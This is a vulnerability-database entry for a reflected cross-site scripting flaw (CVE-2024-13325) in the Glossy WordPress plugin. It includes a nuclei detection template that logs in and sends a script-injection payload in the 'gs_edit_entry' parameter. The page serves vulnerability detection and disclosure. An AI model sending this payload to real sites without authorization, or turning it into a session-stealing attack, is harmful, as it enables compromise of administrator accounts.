Browse / CVEs / CVE-2024-13325
CVE-2024-13325· croberts / glossy· CWE-79
Glossy WordPress - Reflected XSS
mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it
Glossy WordPress plugin v2.3.5 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to click a malicious link.
Impact
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
Fix
Update to the latest version of the plugin where the vulnerability is fixed.
How to confirm it
Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=glossy-add-entry&gs_edit_entry=1"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>","glossy")Run it with nuclei: nuclei -id CVE-2024-13325 -u <target>
The full check
id: CVE-2024-13325
info:
name: Glossy WordPress - Reflected XSS
author: Sourabh-Sahu
severity: medium
description: |
Glossy WordPress plugin v2.3.5 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to click a malicious link.
impact: |
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
remediation: |
Update to the latest version of the plugin where the vulnerability is fixed.
reference:
- https://wpscan.com/vulnerability/49bddf87-c578-47b7-a8fb-4dc550bbaa47/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-13325
cwe-id: CWE-79
epss-score: 0.00584
epss-percentile: 0.48234
cpe: cpe:2.3:a:croberts:glossy:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: croberts
product: glossy
tags: cve,cve2024,croberts,glossy,authenticated,xss,wordpress,wp-plugin,wp
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=glossy-add-entry&gs_edit_entry=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "></script><script>alert(document.domain)</script><script>","glossy")
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from